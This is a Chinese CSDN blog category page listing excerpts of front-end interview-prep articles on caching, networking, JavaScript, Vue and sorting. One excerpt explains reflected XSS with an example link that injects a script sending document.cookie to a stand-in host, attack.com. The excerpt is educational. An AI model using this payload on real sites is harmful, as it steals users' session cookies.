![](https://img-blog.csdnimg.cn/20201014180756927.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
面试
文章平均质量分 73
NoTelecom
这个作者很懒,什么都没留下…
展开
-
2020前端秋招整理
趁10月24秋招尾声整理一下个人秋招的面经先做一个简单整理,部分答案或者分类有时间再做,完整答案应该不会做,因为没有必要(wo hen lan)????腾讯csig一面数字数组取得前三个最大值https为什么安全?https真的就安全吗?——可以从https降级攻击,中间人攻击等等谈WebSocket建立的过程原型链继承的缺点有什么?路由的hash模式和history模式的原理以及区别服务端怎么获取请求来源的url?——Referer 和 Originhttp请求头中Referer原创 2020-10-24 23:53:16 · 730 阅读 · 1 评论 -
持久化缓存(服务器到底要怎么设置缓存)
这个问题最初是8月初QQ音乐现场面试的时候有问到过,当我打算流畅的从浏览器缓存策略到缓存位置大谈特谈的时候,面试官打断了我,直接问:服务器怎么设置各种资源的缓存,缓存多久?那如果项目已经上线还在强缓存范围内的时候页面出现bug,该怎么替换这个页面?Q: 服务器怎么设置各种资源的缓存,缓存多久?首先是静态资源缓存的问题:如果长时间不变就设置久一点,比如很常见的是设置一年的缓存时间:// 设置缓存时间为1年Cache-Control: max-age=31536000也可以同时开.原创 2020-09-24 13:22:26 · 1572 阅读 · 0 评论 -
仔细扒一些网络攻击
XSS反射型含义: 反射型 XSS 攻击的恶意脚本并没有被存储到后端数据库中,而是诱导用户点击某个精心拼接的恶意链接,从而达到攻击的目的。例子:假如正常请求地址是:https://xxx.com/list?search=搜索什么东西,而攻击者拼接了一个恶意的链接:https://xxx.com/list?search=搜索什么东西<script>fetch(`https://attack.com?cookie=${document.cookie}`)</script>这时候原创 2020-09-24 12:23:04 · 305 阅读 · 1 评论 -
经典js代码题目求输出(佛系更新)
let var 作用域function foo() { console.log(this.num) } var num = 4; foo(); // 4let name = "John";function sayHi() { alert("Hi, " + name); }name = "Pete";sayHi(); // petefunction makeWorker() { let name = "Pete"; return function() { a.原创 2020-08-15 22:50:46 · 765 阅读 · 1 评论 -
一些前端该掌握的排序
粘别人的博客的部分博客放笔记里里,但是忘了是哪篇博客里????插入排序// 首先将第一个元素看作一个有序的序列,从第二个元素起,逐个将元素i与已经排好的序列i~0的元素进行比较// 如果该元素小于比较元素,则将比较元素向后移动,将改元素插入,否则就将它插在当前位置 function insertSort (arr) { for (var i in arr) { ...原创 2020-03-06 17:19:59 · 292 阅读 · 0 评论 -
2020前端一些大厂面经系列———综合实战篇
接上篇是这个系列最后一篇,主要涉及一些综合问题,以及一些不好分类的前端问题综合实战应用1. 手机扫码登录pc端的某应用是怎么实现的?(字节跳动)2. 图片懒加载是如何实现的?(字节跳动)我们可以即将图片的所有src均指向一个小图片或者设为空 真正的src放在data-src中,然后监听滚动事件,用户浏览到该图片时 将src真实值从data-src中拷贝到src中去,这是简单的懒加载...原创 2020-03-06 17:18:39 · 487 阅读 · 0 评论 -
2020前端一些大厂面经系列———vue,node
接上篇vuevue中组件与组件之间的通信方式(快手)vue实现elementui的dialog手写发布订阅者模式1. 你了解diff算法吗?它的时间复杂度是怎样的?(字节跳动)Diff算法的作用是用来计算出 Virtual DOM (虚拟DOM)中被改变的部分,然后针对该部分进行原生DOM操作,而不用渲染真实DOM(会引起整个DOM的重绘和重排)即不用重新渲染整个页面。注:我们先...原创 2020-03-06 17:18:48 · 876 阅读 · 1 评论 -
2020前端一些大厂面经系列———网络(下)
接上篇网络11. HTTP2.0 与 HTTP1.X相比有哪些区别?(字节跳动)新的二进制格式:HTTP1.x的解析是基于文本。基于文本协议的格式解析存在天然缺陷,文本的表现形式有多样性,要做到健壮性考虑的场景必然很多,二进制则不同,只认0和1的组合。基于这种考虑HTTP2.0的协议解析决定采用二进制格式,实现方便且健壮。多路复用:即连接共享,即每一个request都是是用作连接共享...原创 2020-03-06 17:18:58 · 1868 阅读 · 0 评论 -
2020前端一些大厂面经系列———网络(上)
接上篇网络1. HTTP和HTTPS的区别2. TCP和UDP的区别udp是一种面向无连接,且不可靠的协议,在通信过程中,它并不像 TCP 那样需要先建立一个连接,只要(目的地址,端口号,源地址,端口号)确定了,就可以直接发送信息报文,并且不需要确保服务端一定能收到或收到完整的数据。它仅仅提供了校验和机制来保障一个报文是否完整,若校验失败,则直接丢弃报文,不做任何处理。TCP 是面...原创 2020-03-06 17:19:07 · 620 阅读 · 0 评论 -
2020前端一些大厂面经系列———ES6
接上篇ES61. ES6有哪些新特性?(滴滴,腾讯)如果问到这个问题,就把自己熟悉的重要特性简单讲一下,之后面试官就会从你讲的这些里抽出一些知识点来提问,只知道名字的新特性就最好不要提了let const:两个特征:一是块级作用域(在指定块的作用域之外无法访问的变量),二是暂时性死区(let 和 const 声明的变量不会被提升到作用域顶部)对象的解构赋值var obj = {...原创 2020-03-06 17:19:17 · 578 阅读 · 0 评论 -
2020前端一些大厂面经系列———JS
接上篇JS1. 用apply或者call实现bind(字节跳动)考察的其实是对bind和apply/call的区别,即新建了一个函数function mybind (fn, obj) { return function () { return fn.apply(obj, arguments) } }...原创 2020-03-06 17:20:08 · 704 阅读 · 0 评论 -
2020-2022前端一些大厂面经系列———HTML,CSS,算法
寒假已经一周多了,闲下来把自己上学期的真实面试题目和一些个人解答拿出来分享一下~投递的基本都是一些大厂,面试手段的话,是视频面试或者电话面试,也有些是线上笔试这一篇整理的是HTML,CSS,算法部分:原创 2020-03-06 17:19:26 · 1106 阅读 · 0 评论